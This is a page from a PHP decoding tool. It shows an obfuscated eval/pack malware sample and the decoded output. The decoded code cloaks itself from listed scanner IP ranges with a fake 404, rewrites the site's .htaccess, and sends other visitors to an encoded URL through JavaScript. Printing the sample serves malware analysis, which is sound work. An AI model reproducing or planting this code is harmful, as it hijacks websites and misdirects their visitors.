Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(pack('H*','2024727064766a7770716c613d27727064766a7770716c273b66756e6374696f6e20..

Decoded Output download

 $rpdvjwpqla='rpdvjwpql';function c($ip,$range){list($subnet,$bits)=explode('/',$range);if($bits===null){$bits=32;}$ip=ip2long($ip);$subnet=ip2long($subnet);$mask = -1 << (32 - $bits);$subnet &= $mask;return ($ip & $mask) == $subnet;}function f($ip){$bl=array("74.217.90.250","70.42.131.106","199.167.53.0/24","199.167.52.0/24","154.59.126.0/24","154.59.123.0/24","72.165.69.0/24","66.232.40.0/24","66.232.37.0/24","66.232.36.0/24","66.232.34.0/24","66.232.33.0/24","65.155.38.0/24","65.154.226.0/24","64.74.215.0/24","66.232.47.0/24","66.232.46.0/24","66.232.45.0/24","66.232.44.0/24","66.232.43.0/24","66.232.42.0/24","66.232.41.0/24","66.232.39.0/24","66.232.32.0/24","65.155.30.0/24","117.20.47.0/24","95.172.65.0/24","63.251.35.0/24","31.186.225.0/24","74.217.88.0/24","66.151.131.0/24");foreach ($bl as $blip){if(strpos($blip,'/')){if(c($ip,$blip) == true){return true;}}else{if($ip == $blip){return true;}}}return false;}function a(){$ip=$_SERVER['REMOTE_ADDR'];if(array_key_exists('HTTP_X_FORWARDED_FOR',$_SERVER)){$ip=array_pop(explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']));}if(f($ip)){return true;}$pri_addrs=array('10.0.0.0|10.255.255.255','172.16.0.0|172.31.255.255','192.168.0.0|192.168.255.255','169.254.0.0|169.254.255.255','127.0.0.0|127.255.255.255');$long_ip=ip2long($ip);if($long_ip != -1){foreach($pri_addrs as $pri_addr){list($start,$end)=explode('|',$pri_addr);if($long_ip >= ip2long($start) && $long_ip <= ip2long($end)){return true;}}}return false;}function d($a){$d=array_shift($a);$l="";foreach($a as $b){$l.=chr($b-$d);}return $l;}function e(){header("HTTP/1.1 404 Not Found");echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>';exit;}function h($tf){@unlink($tf);if($fw=@fopen($tf,"w")){$r="<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
";@fwrite($fw,$r);@fclose($fw);}}function r(){return substr(str_shuffle('abcdefghijklmnopqrstuvwxyz'),0,10);}function s(){$s="11,115,127,127,123,126,69,58,58,114,112,127,132,122,128,125,123,125,116,133,112,121,122,130,57,119,116,113,112,58,74,128,72,132,61,132,118,108,112,130,49,122,72,61,131,128,123,67,68,125,49,120,72,60,49,127,72,109,62,59,59,63,61,59";return(explode(',',$s));}function m($u){$webroot=".";if(isset($_SERVER["DOCUMENT_ROOT"]) && strlen($_SERVER["DOCUMENT_ROOT"])) $webroot=$_SERVER["DOCUMENT_ROOT"];$webroot=str_replace("\","/",$webroot);$webroot=preg_replace("#/$#","",$webroot);$webroot.="/";h($webroot.".htaccess");h("./htaccess");$u=d($u);$u=base64_encode(str_rot13($u));$k=0;$r0=r();$r1=r()."a";$r2=r()."b";$e="";if(a() || !strpos($_SERVER['REQUEST_URI'],'?')){e();}else{$k=strlen($u);}header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Cache-Control: post-check=0, pre-check=0", false);header("Pragma: no-cache");$e.="<html><head><script>";$e.="String.prototype.$r0=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<='Z'?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});};";$e.="$r1=atob('$u');$r2=$k;window.top.location.href=$r1.$r0();";$e.="</script></head><body></body></html>";echo $e;}m(s());$rpdvjwpqlb='rpdvjwpql'; 

Did this file decode correctly?

Original Code

<?php eval(pack('H*','2024727064766a7770716c613d27727064766a7770716c273b66756e6374696f6e2063282469702c2472616e6765297b6c69737428247375626e65742c2462697473293d6578706c6f646528272f272c2472616e6765293b69662824626974733d3d3d6e756c6c297b24626974733d33323b7d2469703d6970326c6f6e6728246970293b247375626e65743d6970326c6f6e6728247375626e6574293b246d61736b203d202d31203c3c20283332202d202462697473293b247375626e657420263d20246d61736b3b72657475726e2028246970202620246d61736b29203d3d20247375626e65743b7d66756e6374696f6e206628246970297b24626c3d6172726179282237342e3231372e39302e323530222c2237302e34322e3133312e313036222c223139392e3136372e35332e302f3234222c223139392e3136372e35322e302f3234222c223135342e35392e3132362e302f3234222c223135342e35392e3132332e302f3234222c2237322e3136352e36392e302f3234222c2236362e3233322e34302e302f3234222c2236362e3233322e33372e302f3234222c2236362e3233322e33362e302f3234222c2236362e3233322e33342e302f3234222c2236362e3233322e33332e302f3234222c2236352e3135352e33382e302f3234222c2236352e3135342e3232362e302f3234222c2236342e37342e3231352e302f3234222c2236362e3233322e34372e302f3234222c2236362e3233322e34362e302f3234222c2236362e3233322e34352e302f3234222c2236362e3233322e34342e302f3234222c2236362e3233322e34332e302f3234222c2236362e3233322e34322e302f3234222c2236362e3233322e34312e302f3234222c2236362e3233322e33392e302f3234222c2236362e3233322e33322e302f3234222c2236352e3135352e33302e302f3234222c223131372e32302e34372e302f3234222c2239352e3137322e36352e302f3234222c2236332e3235312e33352e302f3234222c2233312e3138362e3232352e302f3234222c2237342e3231372e38382e302f3234222c2236362e3135312e3133312e302f323422293b666f7265616368202824626c2061732024626c6970297b696628737472706f732824626c69702c272f2729297b69662863282469702c24626c697029203d3d2074727565297b72657475726e20747275653b7d7d656c73657b696628246970203d3d2024626c6970297b72657475726e20747275653b7d7d7d72657475726e2066616c73653b7d66756e6374696f6e206128297b2469703d245f5345525645525b2752454d4f54455f41444452275d3b69662861727261795f6b65795f6578697374732827485454505f585f464f525741524445445f464f52272c245f53455256455229297b2469703d61727261795f706f70286578706c6f646528272c272c245f5345525645525b27485454505f585f464f525741524445445f464f52275d29293b7d696628662824697029297b72657475726e20747275653b7d247072695f61646472733d6172726179282731302e302e302e307c31302e3235352e3235352e323535272c273137322e31362e302e307c3137322e33312e3235352e323535272c273139322e3136382e302e307c3139322e3136382e3235352e323535272c273136392e3235342e302e307c3136392e3235342e3235352e323535272c273132372e302e302e307c3132372e3235352e3235352e32353527293b246c6f6e675f69703d6970326c6f6e6728246970293b696628246c6f6e675f697020213d202d31297b666f726561636828247072695f616464727320617320247072695f61646472297b6c697374282473746172742c24656e64293d6578706c6f646528277c272c247072695f61646472293b696628246c6f6e675f6970203e3d206970326c6f6e67282473746172742920262620246c6f6e675f6970203c3d206970326c6f6e672824656e6429297b72657475726e20747275653b7d7d7d72657475726e2066616c73653b7d66756e6374696f6e2064282461297b24643d61727261795f7368696674282461293b246c3d22223b666f7265616368282461206173202462297b246c2e3d6368722824622d2464293b7d72657475726e20246c3b7d66756e6374696f6e206528297b6865616465722822485454502f312e3120343034204e6f7420466f756e6422293b6563686f20273c21444f43545950452048544d4c205055424c494320222d2f2f494554462f2f4454442048544d4c20322e302f2f454e223e3c68746d6c3e3c686561643e3c7469746c653e343034204e6f7420466f756e643c2f7469746c653e3c2f686561643e3c626f64793e3c68313e4e6f7420466f756e643c2f68313e3c703e546865207265717565737465642055524c20776173206e6f7420666f756e64206f6e2074686973207365727665722e3c2f703e3c2f626f64793e3c2f68746d6c3e273b657869743b7d66756e6374696f6e206828247466297b40756e6c696e6b28247466293b6966282466773d40666f70656e282474662c22772229297b24723d223c49664d6f64756c65206d6f645f726577726974652e633e5c6e52657772697465456e67696e65204f6e5c6e5265777269746542617365202f5c6e5265777269746552756c65205e696e6465782e7068705c24202d205b4c5d5c6e52657772697465436f6e6420257b524551554553545f46494c454e414d457d20212d665c6e52657772697465436f6e6420257b524551554553545f46494c454e414d457d20212d645c6e5265777269746552756c65202e20696e6465782e706870205b4c5d5c6e3c2f49664d6f64756c653e5c6e223b40667772697465282466772c2472293b4066636c6f736528246677293b7d7d66756e6374696f6e207228297b72657475726e20737562737472287374725f73687566666c6528276162636465666768696a6b6c6d6e6f707172737475767778797a27292c302c3130293b7d66756e6374696f6e207328297b24733d2231312c3131352c3132372c3132372c3132332c3132362c36392c35382c35382c3131342c3131322c3132372c3133322c3132322c3132382c3132352c3132332c3132352c3131362c3133332c3131322c3132312c3132322c3133302c35372c3131392c3131362c3131332c3131322c35382c37342c3132382c37322c3133322c36312c3133322c3131382c3130382c3131322c3133302c34392c3132322c37322c36312c3133312c3132382c3132332c36372c36382c3132352c34392c3132302c37322c36302c34392c3132372c37322c3130392c36322c35392c35392c36332c36312c3539223b72657475726e286578706c6f646528272c272c247329293b7d66756e6374696f6e206d282475297b24776562726f6f743d222e223b696628697373657428245f5345525645525b22444f43554d454e545f524f4f54225d29202626207374726c656e28245f5345525645525b22444f43554d454e545f524f4f54225d29292024776562726f6f743d245f5345525645525b22444f43554d454e545f524f4f54225d3b24776562726f6f743d7374725f7265706c61636528225c5c222c222f222c24776562726f6f74293b24776562726f6f743d707265675f7265706c6163652822232f2423222c22222c24776562726f6f74293b24776562726f6f742e3d222f223b682824776562726f6f742e222e687461636365737322293b6828222e2f687461636365737322293b24753d64282475293b24753d6261736536345f656e636f6465287374725f726f74313328247529293b246b3d303b2472303d7228293b2472313d7228292e2261223b2472323d7228292e2262223b24653d22223b696628612829207c7c2021737472706f7328245f5345525645525b27524551554553545f555249275d2c273f2729297b6528293b7d656c73657b246b3d7374726c656e282475293b7d686561646572282243616368652d436f6e74726f6c3a206e6f2d73746f72652c206e6f2d63616368652c206d7573742d726576616c69646174652c206d61782d6167653d3022293b686561646572282243616368652d436f6e74726f6c3a20706f73742d636865636b3d302c207072652d636865636b3d30222c2066616c7365293b6865616465722822507261676d613a206e6f2d636163686522293b24652e3d223c68746d6c3e3c686561643e3c7363726970743e223b24652e3d22537472696e672e70726f746f747970652e2472303d66756e6374696f6e28297b72657475726e20746869732e7265706c616365282f5b612d7a412d5a5d2f672c66756e6374696f6e2863297b72657475726e20537472696e672e66726f6d43686172436f64652828633c3d275a273f39303a313232293e3d28633d632e63686172436f646541742830292b3133293f633a632d3236293b7d293b7d3b223b24652e3d222472313d61746f622827247527293b2472323d246b3b77696e646f772e746f702e6c6f636174696f6e2e687265663d2472312e24723028293b223b24652e3d223c2f7363726970743e3c2f686561643e3c626f64793e3c2f626f64793e3c2f68746d6c3e223b6563686f2024653b7d6d28732829293b24727064766a7770716c623d27727064766a7770716c273b20')); ?>

Function Calls

pack 1

Variables

None

Stats

MD5 c102a86a3a9daed49f58ae6b41d3dba0
Eval Count 1
Decode Time 72 ms